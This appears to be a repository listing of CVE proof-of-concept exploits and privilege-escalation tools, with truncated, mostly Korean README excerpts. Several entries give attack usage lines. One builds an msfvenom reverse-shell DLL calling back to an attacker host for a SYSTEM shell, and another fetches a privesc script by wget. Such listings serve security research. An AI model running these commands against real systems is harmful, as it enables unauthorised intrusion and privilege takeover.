CrushFTP_CVE-2025-54309

CVE-2025-54309 - CrushFTP 영향을 받는 버전 10.8.5 11.3.434 watchtower가 제작한 경쟁 조건 PoC로, 더 확장 가능하도록 조정되었습니다. python crushedftp.py usage: crushedftp.py -h -u USERNAME -p PASSWORD -r REQUESTS -P PAYLOAD target CrushFTP CVE-2025-54309 XML Race Condition Exploit positional arguments: target Target CrushFTP UR...

NimNightmare

CVE-2021-1675 LPE PoC 제 익스플로잇이 아닙니다! 그냥 winim 라이브러리를 nim에서 가지고 놀고 싶었을 뿐입니다. 사용법 msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll 로 DLL 페이로드를 생성한 다음, 공격자 시스템에서 핸들러를 시작하세요. 피해자 시스템에서 .\nimnightmare.exe 을 실행하면 SYSTEM 권한의 셸을 얻을 수 있습니다...

CVE-2025-9267

CVE-2025-9267 설명 Windows의 Seagate Toolkit 에는 Toolkit Installer버전 2.35.0.6 이전에 안전하지 않은 DLL 로딩 취약점이 있으며, 설치 프로그램이 DLL의 출처나 무결성을 검증하지 않고 현재 작업 디렉터리에서 DLL을 로드하려고 시도합니다. 설치 프로그램 실행 파일과 동일한 디렉터리에 악성 DLL을 배치할 수 있는 공격자예: 작업/설치 디렉터리를 제어하여는 설치 프로그램이 해당 DLL을 설치 프로그램을 실행하는 사용자의 권한으로 로드 및 실행하게 하여 임의 코드 실행으로 이...

CVE-2025-4601

CVE-2025-4601 - WordPress RealHomes 테마 = 4.4.0 - 권한 상승 🔥 취약점 요약 WordPress 테마 RealHomes 버전 4.4.0 이하는 권한 상승 취약점 에 영향을 받습니다. 이로 인해 인증된 낮은 권한의 사용자예: 구독자가 관리자로 역할을 상승시킬 수 있습니다. 이 취약점은 inspiryupdateprofile 함수에서 발생하며, ereallowuserschangerole 옵션이 활성화된 경우 사용자가 자신의 역할을 변경할 수 있게 합니다. 이 문제는 admin-ajax.php...

wildpwn

가장 먼저 해야 할 일! 읽기: https://www.exploit-db.com/papers/33930/ 기본 사용법 대략 다음과 같습니다: usage: wildpwn.py -h --file FILE payload folder Tool to generate unix wildcard attacks positional arguments: payload Payload to use: combined | tar | rsync folder Where to write the payloads optional arguments: -h,...

SneakyEXE

SneakyEXE /$$$$$$ /$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ $$ | $$ | $$/| $$ / $$| $$/ | $$ / /$$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$ /$$ /$$| $$ | $$/ $$/| $$ | $$$$$$ | $$ $$ /$$ $$ | $$| $$ /$$/| $$ | $$| $$$$$ \ $$$$/ | $$$$$ \ $$| $$ \ $$| $$$$$$$$ /$$$$$$$| $$$$$$/ | $$ | $$| $$/ $$ $$ | $$/ /$$ \ $$|...

CVE-2018-19323

CVE-2018-19323: GIGABYTE GDrv エクスプロイトフレームワーク 概要 このリポジトリには、CVE-2018-19323 （GIGABYTE gdrv.sys ドライバの深刻な脆弱性）に対する、完全かつ高度なエクスプロイトフレームワークが含まれています。この脆弱性により、非特権ユーザーが任意のモデル固有レジスタ（MSR）を読み書きできるようになり、完全なRing-0（カーネル）侵害と NT AUTHORITY\SYSTEM への権限昇格が可能になります。...

CVE-2019-1064

CVE-2019-1064 CVE-2019-1064 - AppXSVC 로컬 권한 상승 예상대로 수정되지 않았을 수도 있는 것으로 보입니다. PoC는 일시적으로 사용할 수 없습니다...

Inspector

Privilege Escalation unix helper 요약 Inspector는 Linux 환경에서 권한 상승을 돕기 위한 Python 스크립트입니다. 실행 후, 이 스크립트는 커널 버전을 검색하고 익스플로잇이 존재하는지 확인하며, bash, zsh, mysql... 파일 기록을 로드하고 root 사용자로 실행된 프로그램 목록을 로드합니다. 서버에 다운로드 wget https://raw.githubusercontent.com/graniet/Inspector/master/inspector.py Inspector 실행 pyth...

CVE-2025-32463

Reference: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot Ubuntu 24.04.2 LTS 서버에서 Sudo v1.9.15p5를 사용하여 Sudo 규칙이 정의되지 않은 권한 없는 사용자로 PoC를 실행하면, chroot 환경 외부의 루트 셸이 생성됩니다. lowpriv@prod:/CVE-2025-32463$ id uid=1001lowpriv gid=1001lowpriv groups=1001lowpriv lowpriv@prod:...

CVE-2026-98214

A flaw was found in the Linux kernel. A local user can bypass Security-Enhanced Linux SELinux access controls to execute restricted files on stacked filesystems. When modifying memory protections using the mprotect system call, the kernel fails to recheck security permissions on intermediate laye...

ved-ebpf

VED-eBPF: Kernel Exploit and Rootkit Detection using eBPF VED Vault Exploit Defense-eBPF leverages eBPF extended Berkeley Packet Filter to implement runtime kernel security monitoring and exploit detection for Linux systems. Introduction eBPF is an in-kernel virtual machine that allows code...

ved-ebpf

VED-eBPF: eBPF를 사용한 커널 익스플로잇 및 루트킷 탐지 VED Vault Exploit Defense-eBPF는 eBPFextended Berkeley Packet Filter를 활용하여 Linux 시스템을 위한 런타임 커널 보안 모니터링 및 익스플로잇 탐지를 구현합니다. 소개 eBPF는 커널 소스 자체를 수정하지 않고도 커널 내에서 코드 실행을 허용하는 인커널 가상 머신입니다. eBPF 프로그램은 tracepoints, kprobes 및 기타 커널 이벤트에 연결되어 실행을 효율적으로 분석하고 데이터를 수집할 수...

CVE-2020-13884

익스플로잇 제목: Windows용 Citrix Workspace 앱 1912 이전 버전 - 권한 상승 2 날짜: 2020-06-07 작성자: Andrew Hess 소프트웨어 링크: https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-windows/workspace-app-for-windows-1911.html/ 공지: https://support.citrix.com/article/CTX275460 CVE: CVE-2020-13884 History...

CVE-2025-28062

CVE-2025-28062 — ERPNext 14.82.1, 14.74.3의 CSRF 취약점을 통한 계정 탈취 📌 요약 ERPNext 14.82.1 및 14.74.3 에서 사이트 간 요청 위조CSRF 취약점이 발견되었으며, 공격자가 다음과 같은 무단 작업을 수행할 수 있습니다: 사용자 열거 계정 탈취비밀번호 재설정 임의 사용자 삭제 권한 상승역할 추가 이 취약점은 중요한 관리 API 엔드포인트에 CSRF 보호가 없기 때문에 발생합니다. 인증된 관리자가 악성 웹사이트를 방문하면 동의 없이 이러한 작업을 수행하도록 세션이 악용됩니...

CVE-2024-32019-Netdata-ndsudo-Privilege-Escalation-PoC

CVE-2024-32019 Netdata ndsudo 権限昇格 PoC 概要 CVE-2024-32019 は、Netdata の SUID ヘルパー ndsudo におけるローカル権限昇格の脆弱性で、信頼されていない検索パス（PATH ハイジャック）を介して、ローカルユーザーが任意のプログラムを root として実行できるようにします。 問題は、ndsudo がコマンド名を制限するものの、呼び出し元の PATH を使用して解決するため、ユーザーが悪意のあるバイナリを PATH の先頭に配置し、ndsudo に root 権限で実行させることができるという点にあります。...

SharpPrivesc

SharpPrivesc Cの練習と、Privesc（権限昇格）の攻撃面をまとめる試みです。まだ初心者レベルです。Privescチェックなどを行います。 Spectreopsのコマンドライン解析クラスが好みだったので、他の.NETパッケージ（command line parserなど）ではなく、それらを利用することにしました。 To-Do: メニュー Privescチェックモジュールの追加。 完了 ネストされたグループ 引用符なしサービスパス: DCsync:...

CVE-2025-27591-Below

CVE-2025-27591-Below 📌 설명 이는 개념 증명PoC 익스플로잇으로, CVE-2025-27591 below 시스템 모니터 도구의 로컬 권한 상승 취약점에 대한 것입니다. 문제는 상승된 권한으로 실행될 때 로그 파일/var/log/below/errorroot.log의 안전하지 않은 처리에서 발생합니다. 이를 악용하여 공격자는 심볼릭 링크 공격 을 수행하고 악성 사용자를 /etc/passwd에 주입하여 사실상 루트 액세스 권한을 부여받을 수 있습니다. ⚙️ 영향받는 대상 바이너리 : /usr/bin/below 요구사항...

CVE-2017-0564-ION-PoC

CVE-2017-0564-ION-PoC ION 범용 권한 상승 취약점 PoC 및 분석 LINK: https://android.googlesource.com/platform/cts/+/master/hostsidetests/security/securityPatch/CVE-2017-0564/ 취약점 보고자: guoygang...

CVE-2023-36899

CVE-2023-36899 CVE-2023-36899 취약점의 재현 환경 및 도구로, ASP.NET Framework의 쿠키리스cookieless 세션 인증 우회를 대상으로 합니다. Cookieless DuoDrop: ASP.NET Framework의 IIS 인증 우회 및 앱 풀 권한 상승 CVE-2023-36899 현대 웹 개발에서 쿠키는 세션 ID를 전송하는 가장 선호되는 방법이지만, .NET Framework는 URL에 세션 ID를 직접 인코딩하는 대체 방법도 제공합니다. 이 기술은 .NET Framework의...